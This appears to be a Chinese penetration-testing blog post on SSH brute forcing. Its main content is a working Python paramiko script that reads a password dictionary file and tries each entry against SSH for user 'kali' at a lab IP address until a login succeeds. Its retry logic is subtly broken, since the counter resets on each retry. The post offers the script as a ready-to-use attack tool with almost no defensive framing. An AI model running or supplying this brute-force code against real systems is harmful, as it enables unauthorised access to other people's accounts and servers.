漏洞利用-暴力破解-SSH 爆破
本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。

:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::

SSH 爆破

pip install paramiko

V1.0

#! /usr/bin/env python

'''
SSH 爆破

'''

import socket
import paramiko
import time

hostname = '192.168.225.128'
username = 'kali'
# password = ''

passwords = open('password_dict.txt').read().split('\n')

def connect_ssh(password):
    n_retry = 3 # 重试次数

    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh_client.connect(hostname=hostname, password=password, username=username, timeout=5)
    except socket.timeout:
        print('[-] Time Out')
        return False
    except paramiko.AuthenticationException:
        print('[-] The username and password do not match')
        return False
    except paramiko.SSHException:
        if n_retry <= 0:
            print('[-] Exception. Faild')
            return False

        print('[-] Exception. try again after 10s')
        time.sleep(10)
        n_retry = n_retry - 1
        return connect_ssh(password)
    else:
        print('[+] Login successful. password: %s' % password)
        return True

for password in passwords:
    if connect_ssh(password):
        break
学海无涯,回头是岸。 --- hola
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇